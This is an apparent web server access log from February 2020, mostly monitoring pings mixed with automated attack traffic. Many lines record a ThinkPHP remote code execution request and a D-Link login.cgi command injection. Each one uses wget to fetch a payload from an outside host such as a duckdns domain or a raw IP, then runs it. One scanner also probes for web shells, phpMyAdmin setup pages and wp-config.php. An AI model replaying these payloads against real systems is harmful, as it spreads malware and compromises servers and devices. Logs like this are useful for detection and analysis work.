212.91.246.72 - - [09/Feb/2020:16:54:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.121.126.69 - - [09/Feb/2020:16:54:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [09/Feb/2020:16:55:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:16:56:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:16:57:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:16:58:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
52.116.94.41 - - [09/Feb/2020:16:59:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:16:59:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:17:00:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:17:01:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:17:02:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.52.19.104 - - [09/Feb/2020:17:02:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
190.245.248.177 - - [09/Feb/2020:17:02:48 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [09/Feb/2020:17:03:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
182.53.26.198 - - [09/Feb/2020:17:03:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:17:04:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
80.13.150.221 - - [09/Feb/2020:17:04:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:17:05:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:17:06:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:17:07:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
197.205.5.37 - - [09/Feb/2020:17:07:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
31.193.91.39 - - [09/Feb/2020:17:07:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
179.179.220.244 - - [09/Feb/2020:17:08:12 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [09/Feb/2020:17:08:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:17:09:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.60.123.74 - - [09/Feb/2020:17:10:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
118.71.157.61 - - [09/Feb/2020:17:10:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:17:10:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:17:11:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:17:12:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:17:13:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
34.90.62.109 - - [09/Feb/2020:17:14:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:17:14:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:17:15:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:17:16:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.193.91.39 - - [09/Feb/2020:17:16:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:17:17:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:17:18:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
37.150.16.31 - - [09/Feb/2020:17:18:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
200.53.19.170 - - [09/Feb/2020:17:18:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [09/Feb/2020:17:19:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:17:20:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
80.99.147.244 - - [09/Feb/2020:17:20:59 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [09/Feb/2020:17:21:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:17:22:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:17:23:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
124.13.250.183 - - [09/Feb/2020:17:24:20 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [09/Feb/2020:17:24:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.68.187.71 - - [09/Feb/2020:17:25:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
177.190.176.92 - - [09/Feb/2020:17:25:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [09/Feb/2020:17:25:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:17:26:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:17:27:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
187.159.52.10 - - [09/Feb/2020:17:27:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:17:28:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
60.209.169.43 - - [09/Feb/2020:17:28:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:17:29:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:17:30:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
106.54.188.252 - - [09/Feb/2020:17:31:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
106.54.188.252 - - [09/Feb/2020:17:31:11 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
106.54.188.252 - - [09/Feb/2020:17:31:13 +0100] "POST /Admin58f65bd4/Login.php HTTP/1.1" 404 328 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
212.91.246.72 - - [09/Feb/2020:17:31:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
106.54.188.252 - - [09/Feb/2020:17:31:38 +0100] "GET /l.php HTTP/1.1" 404 310 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
106.54.188.252 - - [09/Feb/2020:17:31:38 +0100] "GET /phpinfo.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
106.54.188.252 - - [09/Feb/2020:17:31:38 +0100] "GET /test.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
106.54.188.252 - - [09/Feb/2020:17:31:38 +0100] "POST /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
106.54.188.252 - - [09/Feb/2020:17:32:02 +0100] "POST /bbs.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
212.91.246.72 - - [09/Feb/2020:17:32:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
106.54.188.252 - - [09/Feb/2020:17:32:30 +0100] "POST /forums.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
197.248.141.70 - - [09/Feb/2020:17:32:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
106.54.188.252 - - [09/Feb/2020:17:32:58 +0100] "POST /bbs/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
197.248.141.70 - - [09/Feb/2020:17:33:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
106.54.188.252 - - [09/Feb/2020:17:33:22 +0100] "POST /forum/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
211.192.224.217 - - [09/Feb/2020:17:33:25 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [09/Feb/2020:17:33:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.192.224.217 - - [09/Feb/2020:17:33:29 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
197.248.141.70 - - [09/Feb/2020:17:33:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
106.54.188.252 - - [09/Feb/2020:17:33:46 +0100] "POST /forums/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
211.192.224.217 - - [09/Feb/2020:17:33:47 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
119.244.83.113 - - [09/Feb/2020:17:33:51 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
106.54.188.252 - - [09/Feb/2020:17:34:10 +0100] "GET /webdav/ HTTP/1.1" 404 312 "-" "Mozilla/5.0"
211.192.224.217 - - [09/Feb/2020:17:34:11 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
103.234.100.58 - - [09/Feb/2020:17:34:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
106.54.188.252 - - [09/Feb/2020:17:34:14 +0100] "GET /java.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:34:17 +0100] "GET /_query.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:34:18 +0100] "GET /test.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:34:18 +0100] "GET /db_cts.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:34:18 +0100] "GET /db_pma.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:34:19 +0100] "GET /logon.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:34:19 +0100] "GET /help-e.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:34:21 +0100] "GET /license.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:34:22 +0100] "GET /log.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:34:22 +0100] "GET /hell.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:34:22 +0100] "GET /pmd_online.php HTTP/1.1" 404 319 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:34:22 +0100] "GET /x.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:34:23 +0100] "GET /shell.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:34:23 +0100] "GET /htdocs.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:34:23 +0100] "GET /b.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:34:23 +0100] "GET /sane.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:34:23 +0100] "GET /desktop.ini.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:34:24 +0100] "GET /z.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:34:24 +0100] "GET /lala.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:34:24 +0100] "GET /lala-dpr.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:34:24 +0100] "GET /wpc.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
212.91.246.72 - - [09/Feb/2020:17:34:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
106.54.188.252 - - [09/Feb/2020:17:34:25 +0100] "GET /wpo.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:34:26 +0100] "GET /t6nv.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:34:26 +0100] "GET /muhstik.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:34:26 +0100] "GET /text.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:34:26 +0100] "GET /wp-config.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:34:26 +0100] "GET /muhstik.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:34:28 +0100] "GET /muhstik2.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:34:28 +0100] "GET /muhstiks.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:34:28 +0100] "GET /muhstik-dpr.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:34:29 +0100] "GET /lol.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:34:29 +0100] "GET /uploader.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:34:33 +0100] "GET /cmd.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:34:34 +0100] "GET /cmv.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:34:34 +0100] "GET /cmdd.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:34:34 +0100] "GET /knal.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:34:34 +0100] "GET /cmd.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:34:37 +0100] "GET /shell.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:34:38 +0100] "GET /appserv.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:34:38 +0100] "GET /scripts/setup.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:34:38 +0100] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:34:38 +0100] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
